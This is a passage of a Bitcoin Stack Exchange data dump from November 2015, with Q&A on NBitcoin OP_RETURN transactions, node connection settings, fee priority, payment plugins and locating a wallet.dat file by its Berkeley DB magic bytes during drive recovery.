  <row Id="41420" PostTypeId="2" ParentId="41360" CreationDate="2015-11-17T15:55:14.777" Score="0" Body="&lt;p&gt;Relying on an unconfirmed transaction is much riskier than relying on 1-confirmed transaction.  And in turn, relying on a 1-confirmed transaction is risker than relying on a 2-confirmed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will always be a choice best made on empirical data.  One of the more disappointing ideas is that, because 0-conf is less safe, all use of it should be eradicated.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2015-11-17T15:55:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41421" PostTypeId="1" CreationDate="2015-11-17T18:22:54.127" Score="3" ViewCount="591" Body="&lt;p&gt;This is my first time trying out the &lt;a href=&quot;https://github.com/MetacoSA/NBitcoin&quot; rel=&quot;nofollow&quot;&gt;NBitcoin&lt;/a&gt; library to create a transaction. I am trying to create an &lt;code&gt;OP_RETURN&lt;/code&gt; transaction, but every time I try to execute the &lt;code&gt;Version Handshake&lt;/code&gt; with the node I get the error: &lt;code&gt;The node is not in a connected state&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is self explanatory, but I've tried a number of what are considered reliable nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this is a four part question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When attempting an &lt;code&gt;OP_RETURN&lt;/code&gt; transaction in NBitcoin, is it necessary to add the miner fees into the TransactionBuilder manually?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to use &lt;code&gt;Node.Connect&lt;/code&gt; so it will just search for available nodes, rather than specifying a specific node?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it an issue that I have the OP_RETURN and not anything else? Do I need to create another output with no value and add the miner fees in order to send it? There are libraries in PHP, Python, and Javascript to do this, but I am trying to figure out how to do this with NBitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I wanted to store the incoming hash in the OP_RETURN script, am I doing it correctly? The byte stream seems to be too long.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Heres my code, which is in a .NET MVC4 Controller Action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[HttpPost]&#xA;public ActionResult NewTransaction(string hash)&#xA;{&#xA;        var paymentSecret = new BitcoinSecret(&quot;//Private Key&quot;);&#xA;        // Example hash is &quot;45e114a7f2c6122c9c1dabbd4df187e66545c17ca0bd28de732499dbee476811&quot;&#xA;        var message = hash;&#xA;        var bytes = Encoding.UTF8.GetBytes(message);&#xA;        var blockr = new BlockrTransactionRepository();&#xA;        var fundingTransaction = blockr.Get(&quot;60db94bfb43dd0d98ba7fdfbbg4f29a850f7s5ea7d79a32c4r954096f2945b04&quot;);&#xA;        var payment = new Transaction();&#xA;&#xA;        payment.Inputs.Add(new TxIn()&#xA;        {&#xA;            PrevOut = new OutPoint(fundingTransaction.GetHash(), 1)&#xA;        });&#xA;&#xA;        payment.Outputs.Add(new TxOut()&#xA;        {&#xA;            Value = Money.Zero,&#xA;            ScriptPubKey = TxNullDataTemplate.Instance.GenerateScriptPubKey(bytes)&#xA;        });&#xA;&#xA;        payment.Inputs[0].ScriptSig = paymentSecret.ScriptPubKey;&#xA;        payment.Sign(paymentSecret, false);&#xA;&#xA;        using (var node = Node.Connect(Network.Main, &quot;67.221.193.55&quot;, new NodeConnectionParameters()&#xA;        {&#xA;            IsTrusted = true,&#xA;            IsRelay = false&#xA;        }))&#xA;        {&#xA;            // Always fails on the handshake&#xA;            node.VersionHandshake();&#xA;            node.SendMessage(new InvPayload(InventoryType.MSG_TX, payment.GetHash()));&#xA;            node.SendMessage(new TxPayload(payment));&#xA;            Thread.Sleep(500);&#xA;        }&#xA;        return View(&quot;Index&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to actually use the &lt;code&gt;TransactionBuilder&lt;/code&gt;, but still came up with the same error. This time I am actually setting the fee amount. I am also using a different node and specifying the port. Here is the attempt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var paymentSecret = new BitcoinSecret(&quot;//Private Key&quot;);&#xA;// Example hash is &quot;45e114a7f2c6122c9c1dabbd4df187e66545c17ca0bd28de732499dbee476811&quot;&#xA;var message = hash;&#xA;var bytes = Encoding.UTF8.GetBytes(message);&#xA;&#xA;var funding = new Transaction()&#xA;{&#xA;    Outputs =&#xA;    {&#xA;        new TxOut(&quot;0.01&quot;, paymentSecret.GetAddress())&#xA;    }&#xA;};&#xA;&#xA;var coins = funding&#xA;                .Outputs&#xA;                .Select((o, i) =&amp;gt; new Coin(new OutPoint(funding.GetHash(), i), o))&#xA;                .ToArray();&#xA;&#xA;var txBuilder = new TransactionBuilder();&#xA;var tx = txBuilder&#xA;            .AddCoins(coins)&#xA;            .AddKeys(paymentSecret.PrivateKey)&#xA;            .Send(TxNullDataTemplate.Instance.GenerateScriptPubKey(bytes), Money.Zero)&#xA;            .SendFees(&quot;0.00001&quot;)&#xA;            .SetChange(paymentSecret.PubKey)&#xA;            .BuildTransaction(true);&#xA;&#xA;txBuilder.Verify(tx);&#xA;&#xA;using (var node = Node.Connect(Network.Main, &quot;67.221.193.55:8333&quot;, new NodeConnectionParameters()&#xA;{&#xA;    IsTrusted = true,&#xA;    IsRelay = false&#xA;}))&#xA;{&#xA;    node.VersionHandshake();&#xA;    node.SendMessage(new InvPayload(InventoryType.MSG_TX, tx.GetHash()));&#xA;    node.SendMessage(new TxPayload(tx));&#xA;    Thread.Sleep(500);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anyone help out. There is a lack of documentation specifying how to conduct an &lt;code&gt;OP_RETURN&lt;/code&gt; transaction. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="30607" LastEditorUserId="30607" LastEditDate="2015-11-20T17:48:00.787" LastActivityDate="2018-02-09T18:07:03.120" Title="'The node is not in a connected state' error when trying to execute OP_RETURN transaction with NBitcoin" Tags="|transaction-fees|nodes|op-return|nbitcoin|.net|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41423" PostTypeId="1" CreationDate="2015-11-17T18:53:57.350" Score="0" ViewCount="206" Body="&lt;p&gt;I am an accounting student and I recently read about bitcoins, I was wondering if anybody could clear up my questions from my basic understanding of the bitcoin system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoins on a whole, derive its uniqueness from the system of maintenance of a public ledger and an important part of this, are the miners, who are provided an incentive in bitcoins for for their hash creation. The cost of hashing and recording it in the public ledger is technically, the bit coins paid to the miner. My questions are&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- Who bears the burden of the cost? Is it the user or is it the network?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- If its borne by the network, wouldn't this cause an increase in circulation      of bitcoins in a network and lead to reduction in their value making them unstable?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- If the this cost is borne by the user, then how does it make it an alternative to native banking transaction cost?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Based on what I have read online, so far, the circulation of bitcoins is capped of to a certain limit to prevent deflation but my question is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- If the mining of bitcoins also lead to circulation increase, how can the system handle the volume of transaction relating to a global economy? How would this effect the public book keeping system and the miners ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody please help me understand this ?&lt;/p&gt;&#xA;" OwnerUserId="30611" LastEditorUserId="5406" LastEditDate="2016-02-21T15:45:53.357" LastActivityDate="2016-02-21T15:45:53.357" Title="Economic effect of Bitcoin" Tags="|economic-theory|scalability|volume|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41424" PostTypeId="2" ParentId="41100" CreationDate="2015-11-17T20:33:33.530" Score="1" Body="&lt;p&gt;I've searched quite a lot for something like this and to my knowledge, the answer is no.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the bitcoinway plugin you reference was the closest thing to a working plugin that required no middleman.  It used to work with the older woocommerce and the 1.9.8 mpk but it doesn't work at all now with the latest woocommerce version.  It has not been updated in a long time and id say its a dead plugin now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the closest thing I've found to replace it was the coin simple woocommerce plugin but as of the latest woocommerce update, it no longer works due to a JSON parse error that I can't workaround.  It does require signup on coin simple but from what I can tell, the API key and biz ID are input to allow you to validate transactions.  Your MPK is plugged in on woocommerce and coin simple never controls the wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;gourl.io is probably the next best thing but they do have interaction with your wallet and forwarding of the funds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;there is a plugin that works with an MPK that generates addresses with the click of a button.  But its not automated as far as commerce sales go.  The plugin name is &quot;Bitcoin Payments&quot;.  &lt;a href=&quot;https://wordpress.org/plugins/bitcoin-address/&quot; rel=&quot;nofollow&quot;&gt;https://wordpress.org/plugins/bitcoin-address/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;if anybody finds a working plugin without a middleman, please share.&lt;/p&gt;&#xA;" OwnerUserId="30615" LastActivityDate="2015-11-17T20:33:33.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41425" PostTypeId="2" ParentId="38731" CreationDate="2015-11-17T21:46:31.357" Score="6" Body="&lt;p&gt;&lt;code&gt;OP_CHECKTIMELOCKVERIFY&lt;/code&gt; is implemented as of Bitcoin Core 0.11.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This release supports a soft fork to enable CLTV (BIP 65).  CLTV is part of version 4 blocks.  Once 951 blocks are mined with version 4 blocks, then the soft fork is complete on only version 4 blocks are valid from this point on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to construct the CLTV transaction using other software.  Here is an example that requires bitcore (NodeJS):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mruddy/bip65-demos&quot;&gt;https://github.com/mruddy/bip65-demos&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14727" LastActivityDate="2015-11-17T21:46:31.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41426" PostTypeId="1" AcceptedAnswerId="41427" CreationDate="2015-11-18T02:33:40.160" Score="9" ViewCount="17886" Body="&lt;p&gt;By reading &lt;a href=&quot;https://bitcoin.org/en/full-node&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/full-node&lt;/a&gt; I've decided that I want to run a FULL node (let's call it 'X'), to contribute to the P2P network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'll leave its ports open, or have a DMZ zone with a public IP address in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this comes with security risks, so I will not have any funds in this instance of the Bitcoin Core QT client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I will keep my BTC funds in a different computer (let's call it 'Y') that will not be a full node (but still use bitcoin-core QT main client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how can I configure 'Y' to always connect (in order to broadcast my transactions) to my server 'X' and not a different one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2751" LastEditorUserId="2306" LastEditDate="2015-11-18T08:05:27.637" LastActivityDate="2015-11-18T10:02:07.510" Title="How do I configure Bitcoin Core to connect always to a particular node?" Tags="|bitcoin-core|nodes|port|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41427" PostTypeId="2" ParentId="41426" CreationDate="2015-11-18T09:41:23.323" Score="15" Body="&lt;p&gt;Your private node would still be a fully validating node (i.e. full node). That's a good thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for having the private node connect to your public node, you have two choices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;-addnode=&amp;lt;ip&amp;gt;&lt;/code&gt; Add a node to connect to and attempt to keep the connection open&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-connect=&amp;lt;ip&amp;gt;&lt;/code&gt; Connect only to the specified node(s)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What you were asking for is nr 2, but you might want to consider nr 1 instead because that gives your private node a bit more redundancy in case there's a problem with your public node (hardware problem, disk full, router misconfiguration...). But it will make a few outgoing connections to random internet nodes (slight security problem if you don't trust the bitcoin p2p protocol and it will cause a bit more bandwidth usage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also consider these options:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;code&gt;-listen=0&lt;/code&gt;  Don't accept connections from outside (implied by -connect). (although if you don't port forward in your firewall, it doesn't matter.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-whitebind=&amp;lt;addr&amp;gt;&lt;/code&gt;&#xA;   Bind to given address and whitelist peers connecting to it. Use&#xA;   [host]:port notation for IPv6&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-whitelist=&amp;lt;netmask&amp;gt;&lt;/code&gt;&#xA;   Whitelist peers connecting from the given netmask or IP address. Can be&#xA;   specified multiple times. Whitelisted peers cannot be DoS banned and&#xA;   their transactions are always relayed, even if they are already in the&#xA;   mempool, useful e.g. for a gateway&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;upnp=0&lt;/code&gt; to disable UPnP. If you're capable of doing your own firewall configuration, you don't want this increased attack surface. (This has/will become the default in recent versions.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The whitelisting (4 and 5) will prevent your private node from accidentally banning your public node if something weird happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Public node configuration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably also want to have e.g. &lt;code&gt;-whitelist=192.168.1.0/24&lt;/code&gt; on your public node as well to never ban your private node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not running a wallet, use the option &lt;code&gt;-disablewallet&lt;/code&gt; [Do not load the wallet and disable wallet RPC calls]. Saves some resources and lowers the attack surface.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-11-18T10:02:07.510" LastActivityDate="2015-11-18T10:02:07.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41428" PostTypeId="2" ParentId="53852" CreationDate="2015-11-18T12:46:17.430" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to delete my unconfirmed transactions from Blockchain.info?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction means that your transaction is being broadcast through the network until some miner write it down into a block. If the unconfirmed transaction is not confirmed into the blockchain after some days, it is deleted from the network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays, there is no easy way to delete your unconfirmed transaction. Unless you broadcast it again with a higher fee. In that case, the one that enters first into the blockchain (probably the one with higher fee) will automatically delete the other one from the unconfirmed pool (after a propagation delay).  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any way I can recover my bitcoins?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While your transaction has not being written into the blockchain, it means that you haven't spent your bitcoins yet. Theoretically, you could still write a transaction into the blockchain spending such bitcoins the way you like it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the problem is that not the entire network accept that. Probably, you would have to broadcast it via the console of a bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-18T12:46:17.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41429" PostTypeId="2" ParentId="41291" CreationDate="2015-11-18T13:23:49.993" Score="1" Body="&lt;p&gt;The debate of bitcoin in the legal system is just in the beginning. It's not even that clear (worldwide) whether bitcoin is legally consider money or not. Up to now, most of bitcoin space is unregulated (including the issue of corporation status).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't mean that it will be unregulated forever. Nobody knows what the future holds, maybe one day the government might decide to debate whether miners should be responsible for bitcoin issues (as one day happened with Napster, Torrent and several other internet sectors).&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-18T13:23:49.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41431" PostTypeId="2" ParentId="41418" CreationDate="2015-11-19T00:39:16.593" Score="1" Body="&lt;p&gt;You are correct about the first part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it's not quite possible to recover &lt;em&gt;the&lt;/em&gt; public key from the signature. You can recover a public key that works for ECDSA purposes, but that doesn't guarantee it is byte-for-byte identical to the intended public key. That means it may not hash to the right address, which could cause the check whether the right public key was used to fail.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-11-19T00:39:16.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41433" PostTypeId="2" ParentId="41421" CreationDate="2015-11-19T03:45:45.310" Score="1" Body="&lt;p&gt;I think the problem is that there is only OP_RETURN, I remember seeing in the Bitcoin code that only OP_RETURN without anything else is forbidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except that, your code looks like what is in my book&#xA;&lt;a href=&quot;https://blockchainprogramming.azurewebsites.net/&quot; rel=&quot;nofollow&quot;&gt;https://blockchainprogramming.azurewebsites.net/&lt;/a&gt; so I'm almost sure it is the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : You are crashing during Handshake, can you check Node.DisconnectReason ?&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-11-19T03:45:45.310" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="41435" PostTypeId="2" ParentId="41320" CreationDate="2015-11-19T08:58:44.090" Score="2" Body="&lt;p&gt;There is now a BitcoinPPI (Bitcoin purchasing power index) available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinppi.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinppi.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the BigMac index published by The Economist and calculates a global weighted index and a local index for 41 countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an &lt;a href=&quot;http://bitcoinppi.com/pages/api&quot; rel=&quot;nofollow&quot;&gt;API for all data&lt;/a&gt; and &lt;a href=&quot;http://github.com/bitbond/bitcoinppi&quot; rel=&quot;nofollow&quot;&gt;the sources are also available&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I have no opinion on the taste of BigMacs ;)&lt;/p&gt;&#xA;" OwnerUserId="4167" LastActivityDate="2015-11-19T08:58:44.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41437" PostTypeId="2" ParentId="41012" CreationDate="2015-11-19T16:26:03.343" Score="1" Body="&lt;p&gt;I suspect this is an artifact of the way the code used to work. As to why it hasn't been taken out, it's probably just out of caution, or a &quot;Don't fix it if it's not broken&quot; mindset. Bitcoin Core coders are very cautious, and reasonably so since it's a piece of software that is the main interface to the network for many big players in the industry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, on master right now, &lt;code&gt;CheckBlock&lt;/code&gt; contains a check at the beginning to avoid doing the same work twice. (Added in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/3b33ec85ed00ba7e7525858e3701f9f55071c58b&quot; rel=&quot;nofollow&quot;&gt;this commit&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (block.fChecked)&#xA;    return true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-11-19T16:34:25.660" LastActivityDate="2015-11-19T16:34:25.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41438" PostTypeId="1" CreationDate="2015-11-20T01:15:54.133" Score="1" ViewCount="95" Body="&lt;p&gt;Im using litecoin and it says its gonna take 2 years to import blocks heres a screenshot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Aw7lD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aw7lD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have bootstrap.dat  &lt;/p&gt;&#xA;" OwnerUserId="30657" LastEditorUserId="5406" LastEditDate="2016-02-21T15:42:12.593" LastActivityDate="2016-02-21T15:42:12.593" Title="2 years and 30 weeks to import blocks?" Tags="|litecoin|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41439" PostTypeId="1" AcceptedAnswerId="41454" CreationDate="2015-11-20T01:37:44.517" Score="2" ViewCount="222" Body="&lt;p&gt;Can someone tell me what the process is of getting a bitgold prepaid debit card and if I can use it just about anywhere? Does anyone have one of these cards and what is your experience with them?&lt;/p&gt;&#xA;" OwnerUserId="30384" LastActivityDate="2015-11-21T10:04:54.193" Title="Getting a bitgold prepaid debit card" Tags="|debitcard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41440" PostTypeId="2" ParentId="41386" CreationDate="2015-11-20T03:02:53.070" Score="-1" Body="&lt;p&gt;If you need something publicly readable (but encrypted) you can put bytes into your pubkey too. Of course the bigger the message the more fees you may have to pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A scriptPubKey like this could work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'my-data' OP_DROP OP_DUP OP_HASH160 pubKeyHash OP_EQUALVERIFY OP_CHECKSIG&lt;/p&gt;&#xA;" OwnerUserId="30084" LastActivityDate="2015-11-20T03:02:53.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41443" PostTypeId="1" AcceptedAnswerId="41501" CreationDate="2015-11-20T14:42:17.080" Score="10" ViewCount="4653" Body="&lt;p&gt;I'm testing some functionality on the testnet and I'm having problems with the transactions priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;noreferrer&quot;&gt;technical info&lt;/a&gt;, a transaction that has not enough priority should have a fee of 0.00001 BTC/kb (1000 Satoshi), but when I try to broadcast my transaction using a RPC call to my local full node, I get an insufficient priority error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{u'message': u'66: insufficient priority', u'code': -26}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, the following transaction has 3 inputs and 2 outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what according to &lt;a href=&quot;http://bitcoinfees.com/&quot; rel=&quot;noreferrer&quot;&gt;bitcoinfees&lt;/a&gt; will have a size of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;148 * 3 + 34 * 2 + 10 = 522 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it also has a transaction fee of 0.00001 bitcoins, but trying to broadcast it will raise the error shown above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows what could I've been doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="30668" LastEditorUserId="24925" LastEditDate="2015-11-20T22:27:09.817" LastActivityDate="2015-11-24T11:49:42.593" Title="Transaction priority" Tags="|bitcoind|transaction-fees|error|coin-age-priority|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41445" PostTypeId="2" ParentId="41438" CreationDate="2015-11-20T15:29:40.690" Score="3" Body="&lt;p&gt;This is a misconception and applies to everything based off Bitcoin's UI for the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bar at the bottom of the User Interface is not the &quot;time to sync&quot;.  It's stating the last day/date (and how far in the past) the last synced block had on it.  Your client hasn't yet imported the rest of the blocks, so in a while it'll say 1 year or such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should decrease and reduce in the &quot;how far in the past is the last synced block&quot; value rapidly, as your computer churns through the blocks and imports and processes them.&lt;/p&gt;&#xA;" OwnerUserId="3478" LastActivityDate="2015-11-20T15:29:40.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41447" PostTypeId="1" AcceptedAnswerId="41450" CreationDate="2015-11-20T22:06:50.097" Score="11" ViewCount="4546" Body="&lt;p&gt;A customer of mine brought me a 2TB crashed harddrive. The drive itself is not damaged physically, but the file tables (MFT / NTFS) are corrupt so there is zero ability to recover files with their original names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contents of the drive is not important, except for the customer's wallet.dat file which contains &quot;a substantial amount of bitcoins&quot; (sic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding this file among 2TB of data is pretty much a needle in a haystack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, question: Does wallet.dat contain anything unique, anything that can be binary searched for, anything that makes it say &quot;hey, I'm wallet.dat!&quot;?&lt;/p&gt;&#xA;" OwnerUserId="13343" LastActivityDate="2023-06-26T18:08:21.967" Title="Filesystem is corrupt. How to find wallet.dat?" Tags="|wallet.dat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41448" PostTypeId="1" CreationDate="2015-11-20T22:16:04.167" Score="5" ViewCount="979" Body="&lt;p&gt;Last night, I transferred some coin to my MultiBit local wallet, which worked fine. Then I tried sending some to another wallet, and the transaction showed up as &quot;unconfirmed/pending&quot; after taking my coin. It didn't show up on blockchain or blockexplorer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a few hours with no change, I exported my transactions, then reset the blockchain and transactions. Now, the outgoing transaction has disappeared, along with my coin. I've got a TXID saved, but it doesn't exist. Is there any way to get my coin back?&lt;/p&gt;&#xA;" OwnerUserId="30673" LastActivityDate="2017-11-11T08:43:34.000" Title="Unconfirmed/pending transaction in MultiBit no longer exists, but my coin is still gone!" Tags="|transactions|blockchain|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41450" PostTypeId="2" ParentId="41447" CreationDate="2015-11-20T22:50:11.297" Score="17" Body="&lt;p&gt;It has magic bytes plus a version number at byte 12 in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 [00 00 00 00 01 00 00 00] [00 00 00 00] [62 31 05 00]&#xA;                     ^ lsn               ^ page num    ^ magic&#xA;00000010 [09 00 00 00] [00 20 00 00] 00 [09] 00 00 00 00 00 00&#xA;               ^ version     ^ page size  ^ db type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Searching for &lt;code&gt;62 31 05 00 09 00 00 00&lt;/code&gt; should get you what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: berkleydb source code: &lt;a href=&quot;http://www.gnu.org/software/mifluz/doc/doxydoc/db__page_8h-source.html#l00078&quot; rel=&quot;noreferrer&quot;&gt;layout&lt;/a&gt;, &lt;a href=&quot;http://www.gnu.org/software/mifluz/doc/doxydoc/db_8h-source.html#l00459&quot; rel=&quot;noreferrer&quot;&gt;magic number&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, there are a couple of patterns you might find handy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 07 6b 65 79 6d 65 74 61&lt;/code&gt; (keymeta)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 0a 64 65 66 61 75 6c 74 6b 65 79&lt;/code&gt; (defaultkey)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 0a 6d 69 6e 76 65 72 73 69 6f 6e&lt;/code&gt; (minversion)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 09 62 65 73 74 62 6c 6f 63 6b&lt;/code&gt; (bestblock)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 03 61 63 63&lt;/code&gt; (acc) Account&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 03 6b 65 79&lt;/code&gt; (key)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 04 63 6b 65 79&lt;/code&gt; (ckey) Encrypted 